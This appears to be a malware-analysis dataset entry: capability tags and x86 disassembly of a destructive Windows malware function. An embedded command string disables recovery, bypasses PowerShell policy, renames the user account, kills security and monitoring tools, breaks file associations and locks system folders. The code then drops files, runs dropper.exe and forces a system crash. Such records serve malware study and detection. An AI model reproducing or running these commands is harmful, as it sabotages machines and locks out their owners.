Function at 0x405a30
Capabilities:
Check if file exists
Create process on windows
Delete file
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1c8
mov eax, dword [0x41f00c]
xor eax, esp
mov dword [esp + 0x1c4], eax
push esi
push edi
push 0
call fcn.0040a346
add esp, 4
push eax
call fcn.00409723
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 4
push str.C:WindowsWindows10UpgradeComponents1.txt
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x405ae8
push 0x44
lea eax, [esp + 0x84]
xorps xmm0, xmm0
push 0
push eax
movaps xmmword [esp + 0x3c], xmm0
call fcn.00407d10
add esp, 0xc
mov dword [esp + 0xac], 1
xor eax, eax
mov word [esp + 0xb0], ax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x84]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push str.C:Windows_system32cmd.exe__c_attrib_r_s_h_C:WindowsWindows10UpgradeComponents__attrib_r_s_h_C:_Recycle.BinRecycleBin__start__b_reagentc__disable__reg_add_HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsPowerShell__reg_add_HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsPowerShell__v_EnableScripts__t_REG_DWORD__d_1__reg_add_HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsPowerShell__v_ExecutionPolicy__t_REG_SZ__d_Bypass__start__b_powershell__NoProfile__ExecutionPolicy_Unrestricted_._registry.ps1__wmic_useraccount_where_name_username__call_rename_nameVERYFUNMALWARE__taskkill__f__im_edge.exe__taskkill__f__im_mmc.exe__taskkill__f__im_taskmgr.exe__taskkill__f__im_processhacker.exe__taskkill__f__im_processexplorer.exe__taskkill__f__im_iexplore.exe__taskkill__f__im_chrome.exe__taskkill__f__im_cmd.exe__taskkill__f__im_regedit.exe__takeown__f_C:WindowsWindows10UpgradeComponents__R__D_Y__icacls_C:WindowsWindows10UpgradeComponents__deny_Everyone:_DE_WO_AS_GW_WD_AD_WEA_DC_WA___T__C__Q__assoc_.bat__assoc_.inf__assoc_.ps1__assoc_.cmd__assoc_.reg__taskkill__f__im_powershell.exe__takeown__F__C:Program_FilesWindowsPowerShell___R__D_Y__icacls__C:Program_FilesWindowsPowerShell___deny_Everyone:F__takeown__F__C:WindowsSystem32WindowsPowerShell_v1.0___R__D_Y__icacls__C:WindowsSystem32WindowsPowerShell_v1.0___grant_Everyone:F
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x30]
call esi
push dword [esp + 0x34]
call esi
push str.C:WindowsWindows10UpgradeComponents1.txt
call edi
test eax, eax
je 0x405e1a
mov dword [esp + 0x10], 0
nop
push 0x70
mov dword [esp + 0x18], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0xf
call fcn.00406555
add esp, 4
mov dword [esp + 0x24], 0x64
mov esi, eax
mov dword [esp + 0x28], 0x6f
push 0x64
push 0
push esi
call fcn.00407d10
mov byte [esi + 0x64], 0
lea eax, [esp + 0x20]
add esp, 0xc
mov dword [esp + 0x14], esi
cmp dword [esp + 0x28], 0x10
mov dword [esp + 8], 0x64
cmovae eax, esi
mov dword [esp + 0xc], eax
mov ecx, 0x33
lea edi, [esp + 0xf8]
mov esi, 0x41b170
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.00409702
xor edx, edx
mov ecx, 0xcc
div ecx
mov ecx, dword [esp + 0xc]
mov al, byte [esp + edx + 0xf8]
mov byte [ecx], al
inc ecx
mov eax, dword [esp + 8]
dec eax
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
test eax, eax
jne 0x405b61
mov edx, dword [esp + 0x28]
mov eax, edx
mov ecx, dword [esp + 0x24]
sub eax, ecx
cmp eax, 0x18
jb 0x405c38
cmp edx, 0x10
lea esi, [esp + 0x14]
lea eax, [ecx + 0x18]
cmovae esi, dword [esp + 0x14]
mov dword [esp + 0x24], eax
cmp esi, 0x41d4b0
jae 0x405bf2
lea eax, [esi + ecx]
cmp eax, str.C:UsersPublicDesktop_
jb 0x405bf2
cmp esi, str.C:UsersPublicDesktop_
ja 0x405be8
xor edi, edi
jmp 0x405bf7
mov edi, esi
sub edi, str.C:UsersPublicDesktop_
jmp 0x405bf7
mov edi, 0x18
lea eax, [ecx + 1]
push eax
lea eax, [esi + 0x18]
push esi
push eax
call fcn.00407790
add esp, 0xc
push edi
push str.C:UsersPublicDesktop_
push esi
call fcn.00407790
add esp, 0xc
mov eax, 0x18
sub eax, edi
push eax
lea eax, [edi + 0x41d4b0]
push eax
lea eax, [esi + edi]
push eax
call fcn.00407790
add esp, 0xc
lea eax, [esp + 0x14]
jmp 0x405c51
push 0x18
sub esp, 8
mov byte [esp + 0x38], 0
lea ecx, [esp + 0x20]
push dword [esp + 0x38]
push 0x18
call fcn.004061a0
mov dword [esp + 0x30], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x30], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x40], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0x44]
mov eax, edx
mov ecx, dword [esp + 0x40]
sub eax, ecx
cmp eax, 4
jb 0x405cc3
lea eax, [ecx + 4]
cmp edx, 0x10
mov dword [esp + 0x40], eax
lea eax, [esp + 0x30]
cmovae eax, dword [esp + 0x30]
mov dword [eax + ecx], 0x4559452e
mov byte [eax + ecx + 4], 0
lea eax, [esp + 0x30]
jmp 0x405cde
push 4
push str..EYE
mov byte [esp + 0x64], 0
lea ecx, [esp + 0x38]
push dword [esp + 0x64]
push 4
call fcn.00406040
mov dword [esp + 0x60], 0
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x60], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0x44]
cmp edx, 0x10
jb 0x405d50
mov ecx, dword [esp + 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405d46
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ea5
push edx
push ecx
call fcn.004067d6
add esp, 8
mov edx, dword [esp + 0x28]
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
cmp edx, 0x10
jb 0x405d9b
mov ecx, dword [esp + 0x14]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405d91
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ea5
push edx
push ecx
call fcn.004067d6
add esp, 8
cmp dword [esp + 0x74], 0x10
lea eax, [esp + 0x60]
push 0
cmovae eax, dword [esp + 0x64]
push 0x80
push 1
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x74]
cmp edx, 0x10
jb 0x405dff
mov ecx, dword [esp + 0x60]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405df5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ea5
push edx
push ecx
call fcn.004067d6
add esp, 8
mov edi, dword [esp + 0x10]
inc edi
mov dword [esp + 0x10], edi
cmp edi, 0x96
jl 0x405b00
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call fcn.004011c0
lea eax, [esp + 0xc8]
push eax
push str.C:WindowsWindows10UpgradeComponents
call fcn.0040a0f2
add esp, 8
test eax, eax
je 0x405e50
push 1
push 0
push 0
push str.C:WindowsWindows10UpgradeComponentsdropper.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.C:WindowsWindows10UpgradeComponents1.txt
call edi
test eax, eax
je 0x405e8f
push str.C:WindowsWindows10UpgradeComponents1.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x5b]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [esp + 0x5c]
push eax
push 6
push 0
push 0
push 0
push 0xc6666666
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
mov ecx, dword [esp + 0x1cc]
pop edi
pop esi
xor ecx, esp
call fcn.00406482
mov esp, ebp
pop ebp
ret 0x10
call fcn.0040a5fe
int3